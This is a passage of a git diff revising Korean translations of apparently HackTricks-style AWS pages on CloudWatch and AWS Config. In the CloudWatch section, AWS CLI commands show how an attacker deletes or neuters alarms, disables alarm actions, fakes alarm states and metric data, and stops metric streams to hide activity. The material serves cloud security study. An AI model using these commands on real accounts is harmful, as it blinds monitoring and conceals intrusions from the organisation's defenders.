대해 256KB의 크기 제한**이 있습니다.\ 고해상도 알람을 설정하고, **로그**와 **메트릭**을 나란히 시각화하며, 자동화된 작업을 수행하고, 문제를 해결하며, 애플리케이션을 최적화하기 위한 통찰력을 발견할 수 있습니다. 예를 들어 CloudTrail의 로그를 모니터링할 수 있습니다. 모니터링되는 이벤트: @@ -21,19 +21,19 @@ CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제 ### Namespaces -네임스페이스는 CloudWatch 메트릭의 컨테이너입니다. 메트릭을 분류하고 격리하는 데 도움이 되어 관리 및 분석이 용이합니다. +네임스페이스는 CloudWatch 메트릭의 컨테이너입니다. 메트릭을 분류하고 격리하는 데 도움을 주어 관리 및 분석을 용이하게 합니다. - **예시**: EC2 관련 메트릭의 경우 AWS/EC2, RDS 메트릭의 경우 AWS/RDS. ### Metrics -메트릭은 AWS 리소스의 성능 또는 활용도를 나타내는 시간에 따라 수집된 데이터 포인트입니다. 메트릭은 AWS 서비스, 사용자 정의 애플리케이션 또는 타사 통합에서 수집할 수 있습니다. +메트릭은 AWS 리소스의 성능 또는 활용도를 나타내는 시간에 따라 수집된 데이터 포인트입니다. 메트릭은 AWS 서비스, 사용자 정의 애플리케이션 또는 타사 통합에서 수집될 수 있습니다. - **예시**: CPUUtilization, NetworkIn, DiskReadOps. ### Dimensions -차원은 메트릭의 일부인 키-값 쌍입니다. 메트릭을 고유하게 식별하고 추가 컨텍스트를 제공하는 데 도움이 되며, 메트릭에 연결할 수 있는 차원의 최대 수는 30입니다. 차원은 특정 속성을 기반으로 메트릭을 필터링하고 집계하는 것도 허용합니다. +차원은 메트릭의 일부인 키-값 쌍입니다. 메트릭을 고유하게 식별하고 추가 컨텍스트를 제공하는 데 도움을 주며, 메트릭에 연결할 수 있는 차원의 최대 수는 30입니다. 차원은 특정 속성을 기반으로 메트릭을 필터링하고 집계할 수 있게 해줍니다. - **예시**: EC2 인스턴스의 경우 차원에는 InstanceId, InstanceType 및 AvailabilityZone이 포함될 수 있습니다. @@ -45,15 +45,15 @@ CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제 ### Units -단위는 메트릭과 관련된 측정 유형입니다. 단위는 메트릭 데이터에 컨텍스트와 의미를 제공하는 데 도움이 됩니다. 일반적인 단위에는 백분율, 바이트, 초, 수가 포함됩니다. +단위는 메트릭과 관련된 측정 유형입니다. 단위는 메트릭 데이터에 맥락과 의미를 제공하는 데 도움을 줍니다. 일반적인 단위에는 퍼센트, 바이트, 초, 수가 포함됩니다. -- **예시**: CPUUtilization은 백분율로 측정될 수 있고, NetworkIn은 바이트로 측정될 수 있습니다. +- **예시**: CPUUtilization은 퍼센트로 측정될 수 있고, NetworkIn은 바이트로 측정될 수 있습니다. ## CloudWatch Features ### Dashboard -**CloudWatch 대시보드**는 **AWS CloudWatch 메트릭의 사용자 정의 뷰를 제공합니다**. 데이터를 시각화하고 리소스를 단일 뷰에서 모니터링하기 위해 다양한 AWS 서비스의 메트릭을 결합하여 대시보드를 생성하고 구성할 수 있습니다. +**CloudWatch 대시보드**는 AWS CloudWatch 메트릭의 사용자 정의 **뷰**를 제공합니다. 데이터를 시각화하고 리소스를 단일 뷰에서 모니터링하기 위해 다양한 AWS 서비스의 메트릭을 결합하여 대시보드를 생성하고 구성할 수 있습니다. **주요 기능**: @@ -66,9 +66,9 @@ CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제 ### Metric Stream and Metric Data -**메트릭 스트림**은 AWS CloudWatch에서 CloudWatch 메트릭을 선택한 대상으로 거의 실시간으로 지속적으로 스트리밍할 수 있게 해줍니다. 이는 AWS 외부 도구를 사용한 고급 모니터링, 분석 및 사용자 정의 대시보드에 특히 유용합니다. +AWS CloudWatch의 **메트릭 스트림**은 CloudWatch 메트릭을 선택한 대상으로 거의 실시간으로 지속적으로 스트리밍할 수 있게 해줍니다. 이는 AWS 외부 도구를 사용한 고급 모니터링, 분석 및 사용자 정의 대시보드에 특히 유용합니다. -**메트릭 데이터**는 메트릭 스트림 내에서 스트리밍되는 실제 측정값 또는 데이터 포인트를 나타냅니다. 이러한 데이터 포인트는 AWS 리소스의 CPU 활용도, 메모리 사용량 등 다양한 메트릭을 나타냅니다. +메트릭 스트림 내의 **메트릭 데이터**는 스트리밍되는 실제 측정값 또는 데이터 포인트를 나타냅니다. 이러한 데이터 포인트는 AWS 리소스의 CPU 활용도, 메모리 사용량 등 다양한 메트릭을 나타냅니다. **예시 사용 사례**: @@ -92,7 +92,7 @@ CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제 ### Anomaly Detectors -**이상 탐지기**는 기계 학습을 사용하여 메트릭에서 자동으로 이상을 감지합니다. 정상 패턴에서의 편차를 식별하기 위해 모든 CloudWatch 메트릭에 이상 탐지를 적용할 수 있습니다. +**이상 탐지기**는 기계 학습을 사용하여 메트릭의 이상을 자동으로 감지합니다. 정상 패턴에서 벗어난 변화를 식별하기 위해 모든 CloudWatch 메트릭에 이상 탐지를 적용할 수 있습니다. **주요 구성 요소**: @@ -105,9 +105,9 @@ CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제 ### Insight Rules and Managed Insight Rules -**인사이트 규칙**은 **강력한 수학적 표현**을 사용하여 메트릭 데이터에서 추세를 식별하고, 급증 또는 기타 관심 패턴을 감지할 수 있게 해줍니다. 이러한 규칙은 리소스 성능 및 활용도에서 이상이나 비정상적인 행동을 식별하는 데 도움이 됩니다. +**인사이트 규칙**은 **강력한 수학적 표현**을 사용하여 메트릭 데이터에서 트렌드를 식별하고, 급증 또는 기타 관심 패턴을 감지할 수 있게 해줍니다. 이러한 규칙은 리소스 성능 및 활용도에서 이상이나 비정상적인 행동을 식별하는 데 도움을 줄 수 있습니다. -**관리형 인사이트 규칙**은 AWS에서 제공하는 미리 구성된 **인사이트 규칙**입니다. 특정 AWS 서비스 또는 일반 사용 사례를 모니터링하도록 설계되었으며, 세부 구성 없이 활성화할 수 있습니다. +**관리형 인사이트 규칙**은 AWS에서 제공하는 미리 구성된 **인사이트 규칙**입니다. 특정 AWS 서비스 또는 일반 사용 사례를 모니터링하도록 설계되었으며, 상세한 구성 없이 활성화할 수 있습니다. **예시 사용 사례**: @@ -115,29 +115,29 @@ CloudWatch 로그 이벤트는 **각 로그 라인에 대해 256KB의 크기 제 ### CloudWatch Logs -**AWS 서비스**(CloudTrail 포함) 및 **앱/시스템**에서 **애플리케이션의 로그를 집계하고 모니터링**할 수 있습니다 (**CloudWatch Agent**는 호스트에 설치할 수 있습니다). 로그는 **무기한 저장될 수 있습니다**(로그 그룹 설정에 따라) 및 내보낼 수 있습니다. +애플리케이션 및 시스템의 **로그를 집계하고 모니터링**할 수 있게 해줍니다. **AWS 서비스**(CloudTrail 포함) 및 **앱/시스템**에서 로그를 수집할 수 있습니다(**CloudWatch Agent**는 호스트에 설치할 수 있습니다). 로그는 **무기한 저장**될 수 있으며(로그 그룹 설정에 따라) 내보낼 수 있습니다. **요소**: -| **로그 그룹** | 동일한 보존, 모니터링 및 액세스 제어 설정을 공유하는 **로그 스트림의 모음** | +| **로그 그룹** | 동일한 보존, 모니터링 및 액세스 제어 설정을 공유하는 **로그 스트림의 모음** | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **로그 스트림** | **동일한 소스**를 공유하는 **로그 이벤트의 시퀀스** | -| **구독 필터** | 특정 로그 그룹의 이벤트와 일치하는 **필터 패턴을 정의하고**, 이를 Kinesis Data Firehose 스트림, Kinesis 스트림 또는 Lambda 함수로 전송 | +| **로그 스트림** | **동일한 소스**를 공유하는 **로그 이벤트**의 시퀀스 | +| **구독 필터** | 특정 로그 그룹의 이벤트와 일치하는 **필터 패턴을 정의**하고, 이를 Kinesis Data Firehose 스트림, Kinesis 스트림 또는 Lambda 함수로 전송 | ### CloudWatch Monitoring & Events -CloudWatch **기본**은 **5분마다** 데이터를 집계합니다( **상세**는 **1분마다** 집계). 집계 후, **알람의 임계값을 확인하여 트리거할 필요가 있는지 확인합니다**.\ -이 경우, CloudWatch는 이벤트를 전송하고 일부 자동 작업(AWS Lambda 함수, SNS 주제, SQS 큐, Kinesis 스트림)을 수행할 준비가 될 수 있습니다. +CloudWatch는 **기본적으로** 데이터를 **5분마다** 집계합니다( **상세** 모드는 **1분마다** 집계). 집계 후, 알람의 임계값을 **확인하여** 트리거할 필요가 있는지 확인합니다.\ +이 경우, CloudWatch는 이벤트를 전송하고 자동 작업(AWS Lambda 함수, SNS 주제, SQS 큐, Kinesis 스트림)을 수행할 준비가 될 수 있습니다. ### Agent Installation 기계/컨테이너 내에 에이전트를 설치하여 로그를 자동으로 CloudWatch로 전송할 수 있습니다. -- **역할을 생성하고** 이를 **인스턴스에 연결**하여 CloudWatch가 인스턴스에서 데이터를 수집하고 AWS 시스템 관리자 SSM과 상호 작용할 수 있는 권한을 부여합니다 (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **에이전트를 다운로드하고** **EC2 인스턴스에 설치**합니다 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). EC2 내에서 다운로드하거나 AWS 시스템 관리자를 사용하여 AWS-ConfigureAWSPackage 패키지를 선택하여 자동으로 설치할 수 있습니다. -- **CloudWatch Agent를 구성하고** **시작**합니다. +- **역할을 생성**하고 **인스턴스에 연결**하여 CloudWatch가 인스턴스에서 데이터를 수집하고 AWS Systems Manager SSM과 상호 작용할 수 있는 권한을 부여합니다(CloudWatchAgentAdminPolicy 및 AmazonEC2RoleforSSM). +- **에이전트를 다운로드**하고 **EC2 인스턴스에 설치**합니다 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). EC2 내에서 다운로드하거나 AWS Systems Manager를 사용하여 AWS-ConfigureAWSPackage 패키지를 선택하여 자동으로 설치할 수 있습니다. +- **CloudWatch Agent를 구성**하고 **시작**합니다. -로그 그룹에는 여러 스트림이 있습니다. 스트림에는 여러 이벤트가 있습니다. 각 스트림 내에서 이벤트는 순서대로 보장됩니다. +로그 그룹에는 많은 스트림이 있습니다. 스트림에는 많은 이벤트가 있습니다. 각 스트림 내에서 이벤트는 순서대로 보장됩니다. ## Enumeration ```bash @@ -218,16 +218,16 @@ aws events list-event-buses 이 권한을 가진 공격자는 조직의 모니터링 및 경고 인프라를 심각하게 저해할 수 있습니다. 기존 경고를 삭제함으로써, 공격자는 관리자에게 중요한 성능 문제, 보안 침해 또는 운영 실패를 알리는 중요한 경고를 비활성화할 수 있습니다. 또한, 메트릭 경고를 생성하거나 수정함으로써, 공격자는 잘못된 경고로 관리자를 오도하거나 정당한 경고를 무시하여 악의적인 활동을 효과적으로 숨기고 실제 사건에 대한 적시 대응을 방지할 수 있습니다. -또한, **`cloudwatch:PutCompositeAlarm`** 권한을 통해 공격자는 복합 경고 A가 복합 경고 B에 의존하고, 복합 경고 B도 복합 경고 A에 의존하는 복합 경고의 루프 또는 사이클을 생성할 수 있습니다. 이 시나리오에서는 사이클의 일부인 복합 경고를 삭제할 수 없으며, 삭제하려는 경고에 의존하는 복합 경고가 항상 존재하기 때문입니다. +또한, **`cloudwatch:PutCompositeAlarm`** 권한을 통해 공격자는 복합 경고 A가 복합 경고 B에 의존하고 복합 경고 B가 복합 경고 A에 의존하는 복합 경고의 루프 또는 사이클을 생성할 수 있습니다. 이 시나리오에서는 사이클의 일부인 복합 경고를 삭제할 수 없으며, 삭제하려는 경고에 의존하는 복합 경고가 항상 존재하기 때문입니다. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -다음 예제는 메트릭 알람을 비효율적으로 만드는 방법을 보여줍니다: +다음 예시는 메트릭 알람을 비효율적으로 만드는 방법을 보여줍니다: - 이 메트릭 알람은 특정 EC2 인스턴스의 평균 CPU 사용률을 모니터링하고, 메트릭을 300초마다 평가하며, 6개의 평가 기간(총 30분)을 요구합니다. 평균 CPU 사용률이 이 기간 중 최소 4회 60%를 초과하면 알람이 트리거되고 지정된 SNS 주제로 알림이 전송됩니다. -- 임계값을 99% 이상으로 수정하고, 기간을 10초로 설정하며, 평가 기간을 8640으로 설정하고(8640개의 10초 기간이 1일에 해당하므로), 알람에 대한 데이터 포인트도 8640으로 설정하면, CPU 사용률이 24시간 동안 매 10초마다 99%를 초과해야 알람이 트리거됩니다. +- Threshold를 99% 이상으로 수정하고, Period를 10초로 설정하며, Evaluation Periods를 8640으로 설정하고(8640개의 10초 기간이 1일에 해당하므로), Datapoints to Alarm도 8640으로 설정하면, CPU 사용률이 24시간 동안 매 10초마다 99%를 초과해야 알람이 트리거됩니다. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -281,13 +281,13 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- **잠재적 영향**: 중요한 이벤트에 대한 알림 부족, 잠재적인 미탐지 문제, 잘못된 경고, 진정한 경고 억제 및 실제 사건의 탐지를 놓칠 가능성. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -경고 작업을 삭제함으로써 공격자는 경고 상태에 도달했을 때 관리자에게 알리거나 자동 확장 활동을 트리거하는 등의 중요한 알림과 자동 응답이 발생하지 않도록 할 수 있습니다. 경고 작업을 부적절하게 활성화하거나 재활성화하는 것도 이전에 비활성화된 작업을 다시 활성화하거나 어떤 작업이 트리거되는지를 수정함으로써 예기치 않은 행동을 초래할 수 있으며, 이는 사건 대응에서 혼란과 잘못된 방향으로 이어질 수 있습니다. +경고 작업을 삭제함으로써 공격자는 경고 상태에 도달했을 때 관리자에게 알리거나 자동 확장 활동을 트리거하는 등의 중요한 알림과 자동 응답이 발생하는 것을 방지할 수 있습니다. 경고 작업을 부적절하게 활성화하거나 재활성화하는 것도 이전에 비활성화된 작업을 다시 활성화하거나 어떤 작업이 트리거되는지를 수정함으로써 예기치 않은 행동을 초래할 수 있으며, 이는 사건 대응에서 혼란과 잘못된 방향으로 이어질 수 있습니다. -또한, 권한이 있는 공격자는 경고 상태를 조작할 수 있으며, 관리자를 방해하고 혼란스럽게 하기 위해 잘못된 경고를 생성하거나, 진행 중인 악의적인 활동이나 중요한 시스템 실패를 숨기기 위해 진정한 경고를 무시할 수 있습니다. +또한, 권한이 있는 공격자는 경고 상태를 조작할 수 있으며, 관리자를 방해하고 혼란스럽게 하기 위해 잘못된 경고를 생성하거나, 진행 중인 악의적인 활동이나 중요한 시스템 실패를 숨기기 위해 진정한 경고를 무음으로 만들 수 있습니다. -- **`SetAlarmState`**를 복합 경고에 사용하면 복합 경고가 실제 상태로 돌아올 것이라고 보장되지 않습니다. 자식 경고 중 하나라도 상태가 변경될 때만 실제 상태로 돌아옵니다. 구성 업데이트 시에도 재평가됩니다. +- **`SetAlarmState`**를 복합 경고에 사용하면 복합 경고가 실제 상태로 돌아올 것이라고 보장되지 않습니다. 자식 경고 중 하나라도 상태가 변경될 때만 실제 상태로 돌아갑니다. 구성 업데이트 시에도 재평가됩니다. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names @@ -351,7 +351,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --dashboard-body ``` **잠재적 영향**: 모니터링 가시성 상실 및 오해의 소지가 있는 정보. -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** -인사이트 규칙은 이상 징후를 감지하고 성능을 최적화하며 리소스를 효과적으로 관리하는 데 사용됩니다. 기존 인사이트 규칙을 삭제함으로써 공격자는 중요한 모니터링 기능을 제거하여 시스템이 성능 문제 및 보안 위협에 대해 맹목적으로 만들 수 있습니다. 또한 공격자는 인사이트 규칙을 생성하거나 수정하여 오해의 소지가 있는 데이터를 생성하거나 악의적인 활동을 숨길 수 있으며, 이는 잘못된 진단 및 운영 팀의 부적절한 대응으로 이어질 수 있습니다. +인사이트 규칙은 이상 징후를 감지하고 성능을 최적화하며 자원을 효과적으로 관리하는 데 사용됩니다. 기존 인사이트 규칙을 삭제함으로써 공격자는 중요한 모니터링 기능을 제거하여 시스템이 성능 문제와 보안 위협에 대해 맹목적으로 만들 수 있습니다. 또한 공격자는 인사이트 규칙을 생성하거나 수정하여 오해의 소지가 있는 데이터를 생성하거나 악의적인 활동을 숨길 수 있으며, 이는 잘못된 진단과 운영 팀의 부적절한 대응으로 이어질 수 있습니다. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -386,24 +386,24 @@ aws cloudwatch enable-insight-rules --rule-names **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** 권한을 가진 공격자는 메트릭 데이터 스트림을 생성하고 삭제할 수 있어 보안, 모니터링 및 데이터 무결성이 손상될 수 있습니다: - **악성 스트림 생성**: 민감한 데이터를 무단 목적지로 전송하기 위해 메트릭 스트림을 생성합니다. -- **리소스 조작**: 과도한 데이터로 새로운 메트릭 스트림을 생성하면 많은 잡음이 발생하여 잘못된 경고를 유발하고 실제 문제를 가릴 수 있습니다. +- **자원 조작**: 과도한 데이터로 새로운 메트릭 스트림을 생성하면 많은 잡음이 발생하여 잘못된 경고를 유발하고 실제 문제를 가릴 수 있습니다. - **모니터링 중단**: 메트릭 스트림을 삭제함으로써 공격자는 모니터링 데이터의 지속적인 흐름을 방해할 수 있습니다. 이렇게 하면 그들의 악의적인 활동이 효과적으로 숨겨집니다. -유사하게, **`cloudwatch:PutMetricData`** 권한을 통해 메트릭 스트림에 데이터를 추가할 수 있습니다. 이는 추가된 부적절한 데이터의 양 때문에 DoS를 초래할 수 있으며, 메트릭 스트림을 완전히 쓸모없게 만들 수 있습니다. +유사하게, **`cloudwatch:PutMetricData`** 권한을 통해 메트릭 스트림에 데이터를 추가할 수 있습니다. 이는 부적절한 데이터가 추가되어 완전히 쓸모없게 만들기 때문에 DoS를 초래할 수 있습니다. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -EC2 인스턴스에서 70% CPU 사용량에 해당하는 데이터를 추가하는 예: +주어진 EC2 인스턴스에서 70%의 CPU 사용률에 해당하는 데이터를 추가하는 예: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**잠재적 영향**: 모니터링 데이터 흐름의 중단, 이상 및 사건 탐지에 영향, 자원 조작 및 과도한 메트릭 스트림 생성으로 인한 비용 증가. +**잠재적 영향**: 모니터링 데이터 흐름의 중단으로 인해 이상 및 사건 탐지에 영향을 미치고, 리소스 조작 및 과도한 메트릭 스트림 생성으로 인해 비용이 증가할 수 있습니다. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -공격자는 영향을 받는 메트릭 데이터 스트림의 흐름을 제어할 수 있습니다(자원 제한이 없으면 모든 데이터 스트림). 권한 **`cloudwatch:StopMetricStreams`**를 통해 공격자는 중요한 메트릭 스트림을 중지시켜 자신의 악의적인 활동을 숨길 수 있습니다. +공격자는 영향을 받는 메트릭 데이터 스트림의 흐름을 제어할 수 있습니다(리소스 제한이 없으면 모든 데이터 스트림). 권한 **`cloudwatch:StopMetricStreams`**를 통해 공격자는 중요한 메트릭 스트림을 중지시켜 자신의 악의적인 활동을 숨길 수 있습니다. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names @@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -공격자는 CloudWatch 리소스(현재는 알람 및 Contributor Insights 규칙만 해당)에서 태그를 추가, 수정 또는 제거할 수 있습니다. 이는 태그를 기반으로 한 조직의 접근 제어 정책에 중단을 초래할 수 있습니다. +공격자는 CloudWatch 리소스(현재는 알람 및 Contributor Insights 규칙만 해당)에서 태그를 추가, 수정 또는 제거할 수 있습니다. 이는 태그를 기반으로 한 조직의 접근 제어 정책에 영향을 미칠 수 있습니다. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 962a29e3c..db8758993 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,15 +4,15 @@ ## AWS Config -AWS Config **리소스 변경 사항을 캡처**하므로 Config에서 지원하는 리소스에 대한 모든 변경 사항을 기록할 수 있으며, 이는 **변경된 내용과 기타 유용한 메타데이터를 기록하며, 모두 구성 항목으로 알려진 파일에 저장됩니다**, CI. 이 서비스는 **지역별**입니다. +AWS Config **리소스 변경 사항을 캡처**하므로 Config에서 지원하는 리소스에 대한 모든 변경 사항을 기록할 수 있으며, 이는 **무엇이 변경되었는지와 함께 유용한 메타데이터를 기록하며, 모두 구성 항목으로 알려진 파일에 저장됩니다**, CI. 이 서비스는 **지역별**입니다. -구성 항목 또는 **CI**는 AWS Config의 핵심 구성 요소입니다. 이는 **구성 정보, 관계 정보 및 지원되는 리소스의 시점 스냅샷 뷰를 포함하는 JSON 파일로 구성됩니다**. AWS Config가 리소스에 대해 기록할 수 있는 모든 정보는 CI 내에 캡처됩니다. CI는 **지원되는 리소스의 구성에 변경이 있을 때마다** 생성됩니다. 영향을 받는 리소스의 세부 정보를 기록하는 것 외에도, AWS Config는 변경 사항이 다른 리소스에 영향을 미치지 않았는지 확인하기 위해 직접 관련된 리소스에 대한 CI도 기록합니다. +구성 항목 또는 **CI**는 AWS Config의 핵심 구성 요소입니다. 이는 **구성 정보, 관계 정보 및 지원되는 리소스의 시점 스냅샷 뷰로서의 기타 메타데이터를 보유하는 JSON 파일로 구성됩니다**. AWS Config가 리소스에 대해 기록할 수 있는 모든 정보는 CI 내에 캡처됩니다. CI는 지원되는 리소스의 구성에 변경이 있을 때마다 **매번** 생성됩니다. 영향을 받는 리소스의 세부 정보를 기록하는 것 외에도, AWS Config는 변경 사항이 다른 리소스에 영향을 미치지 않았는지 확인하기 위해 직접 관련된 리소스에 대한 CI도 기록합니다. - **메타데이터**: 구성 항목 자체에 대한 세부 정보를 포함합니다. CI를 고유하게 식별하는 버전 ID와 구성 ID. 기타 정보에는 동일한 리소스에 대해 이미 기록된 다른 CI와 비교할 수 있는 MD5Hash가 포함될 수 있습니다. -- **속성**: 실제 리소스에 대한 일반 **속성 정보를 보유합니다**. 이 섹션 내에는 고유한 리소스 ID와 리소스와 연결된 모든 키 값 태그가 포함되어 있습니다. 리소스 유형도 나열됩니다. 예를 들어, 이것이 EC2 인스턴스에 대한 CI라면 나열된 리소스 유형은 네트워크 인터페이스 또는 해당 EC2 인스턴스의 탄력적 IP 주소일 수 있습니다. -- **관계**: 리소스가 가질 수 있는 연결된 **관계에 대한 정보를 보유합니다**. 이 섹션 내에서는 이 리소스가 가진 다른 리소스와의 관계에 대한 명확한 설명이 표시됩니다. 예를 들어, CI가 EC2 인스턴스에 대한 것이라면 관계 섹션은 EC2 인스턴스가 위치한 VPC와 서브넷에 대한 연결을 보여줄 수 있습니다. -- **현재 구성:** AWS CLI에서 describe 또는 list API 호출을 수행할 경우 생성될 동일한 정보를 표시합니다. AWS Config는 동일한 API 호출을 사용하여 동일한 정보를 가져옵니다. -- **관련 이벤트**: 이는 AWS CloudTrail과 관련이 있습니다. 이는 **이 CI의 생성을 촉발한 변경과 관련된 AWS CloudTrail 이벤트 ID를 표시합니다**. 리소스에 대한 변경이 있을 때마다 새로운 CI가 생성됩니다. 결과적으로 서로 다른 CloudTrail 이벤트 ID가 생성됩니다. +- **속성**: 실제 리소스에 대한 일반 **속성 정보를 보유합니다**. 이 섹션 내에서는 고유한 리소스 ID와 리소스와 관련된 모든 키 값 태그도 포함됩니다. 리소스 유형도 나열됩니다. 예를 들어, 이것이 EC2 인스턴스에 대한 CI라면 나열된 리소스 유형은 네트워크 인터페이스 또는 해당 EC2 인스턴스의 탄력적 IP 주소일 수 있습니다. +- **관계**: 리소스가 가질 수 있는 연결된 **관계에 대한 정보를 보유합니다**. 따라서 이 섹션 내에서는 이 리소스가 가진 다른 리소스와의 관계에 대한 명확한 설명이 표시됩니다. 예를 들어, CI가 EC2 인스턴스에 대한 것이라면 관계 섹션은 EC2 인스턴스가 위치한 서브넷과 함께 VPC와의 연결을 보여줄 수 있습니다. +- **현재 구성:** AWS CLI에서 수행하는 describe 또는 list API 호출로 생성될 동일한 정보를 표시합니다. AWS Config는 동일한 정보를 얻기 위해 동일한 API 호출을 사용합니다. +- **관련 이벤트**: 이는 AWS CloudTrail과 관련이 있습니다. 이는 **이 CI의 생성을 촉발한 변경과 관련된 AWS CloudTrail 이벤트 ID를 표시합니다**. 리소스에 대해 이루어진 모든 변경에 대해 새로운 CI가 생성됩니다. 결과적으로 서로 다른 CloudTrail 이벤트 ID가 생성됩니다. **구성 이력**: 구성 항목 덕분에 리소스의 구성 이력을 얻는 것이 가능합니다. 구성 이력은 6시간마다 제공되며 특정 리소스 유형에 대한 모든 CI를 포함합니다. @@ -20,13 +20,13 @@ AWS Config **리소스 변경 사항을 캡처**하므로 Config에서 지원하 **구성 스냅샷**: 구성 항목은 지원되는 모든 리소스의 시점 스냅샷을 생성하는 데 사용됩니다. -**S3는** 구성 이력 파일과 데이터의 모든 구성 스냅샷을 단일 버킷에 저장하는 데 사용되며, 이는 구성 기록기 내에서 정의됩니다. 여러 AWS 계정이 있는 경우 기본 계정의 동일한 S3 버킷에 구성 이력 파일을 집계할 수 있습니다. 그러나 이 서비스 원칙인 config.amazonaws.com과 기본 계정의 S3 버킷에 대한 쓰기 액세스를 부여해야 합니다. +**S3는** 구성 이력 파일과 데이터의 모든 구성 스냅샷을 단일 버킷 내에 저장하는 데 사용되며, 이는 구성 기록기 내에서 정의됩니다. 여러 AWS 계정이 있는 경우 기본 계정의 동일한 S3 버킷에 구성 이력 파일을 집계할 수 있습니다. 그러나 이 서비스 원칙인 config.amazonaws.com과 기본 계정의 S3 버킷에 대한 쓰기 액세스를 부여해야 합니다. ### 기능 - 변경 사항을 만들 때, 예를 들어 보안 그룹 또는 버킷 액세스 제어 목록에 대해 —> AWS Config에서 수집한 이벤트로 발사 - 모든 것을 S3 버킷에 저장 -- 설정에 따라, 무언가가 변경되면 즉시 람다 함수를 트리거하거나 주기적으로 AWS Config 설정을 살펴보는 람다 함수를 예약할 수 있습니다. +- 설정에 따라, 무언가가 변경되면 람다 함수를 트리거하거나 주기적으로 AWS Config 설정을 살펴보는 람다 함수를 예약할 수 있습니다. - 람다가 Config에 피드백 - 규칙이 위반되면, Config가 SNS를 발사합니다. @@ -37,10 +37,10 @@ AWS Config **리소스 변경 사항을 캡처**하므로 Config에서 지원하 Config 규칙은 **리소스 전반에 걸쳐 특정 준수 검사** **및 제어를 시행하는 데 도움을 주는 훌륭한 방법이며**, 각 리소스 유형에 대한 이상적인 배포 사양을 채택할 수 있게 해줍니다. 각 규칙은 **본질적으로 람다 함수**로, 호출될 때 리소스를 평가하고 규칙에 대한 준수 결과를 결정하기 위해 간단한 논리를 수행합니다. **지원되는 리소스 중 하나에 변경이 이루어질 때마다**, **AWS Config는 설정된 모든 config 규칙에 대한 준수를 확인합니다**.\ AWS는 사용 준비가 된 보안 범주에 속하는 여러 **미리 정의된 규칙**을 보유하고 있습니다. 예를 들어, Rds-storage-encrypted. 이는 RDS 데이터베이스 인스턴스에서 스토리지 암호화가 활성화되었는지 확인합니다. Encrypted-volumes. 이는 연결된 상태의 EBS 볼륨이 암호화되었는지 확인합니다. -- **AWS 관리 규칙**: 많은 모범 사례를 포함하는 미리 정의된 규칙 세트로, 자체 규칙을 설정하기 전에 이러한 규칙을 먼저 살펴보는 것이 항상 좋습니다. 규칙이 이미 존재할 가능성이 있습니다. -- **사용자 정의 규칙**: 특정 사용자 정의 구성을 확인하기 위해 자체 규칙을 만들 수 있습니다. +- **AWS 관리 규칙**: 많은 모범 사례를 포함하는 미리 정의된 규칙 세트로, 이러한 규칙을 먼저 살펴보는 것이 항상 좋습니다. 규칙이 이미 존재할 가능성이 있습니다. +- **사용자 정의 규칙**: 특정 사용자 정의 구성을 확인하기 위해 자신의 규칙을 만들 수 있습니다. -지역당 50개의 config 규칙 한도, 증가를 원할 경우 AWS에 연락해야 합니다.\ +지역당 50개의 config 규칙 한도가 있으며, 증가를 원할 경우 AWS에 연락해야 합니다.\ 비준수 결과는 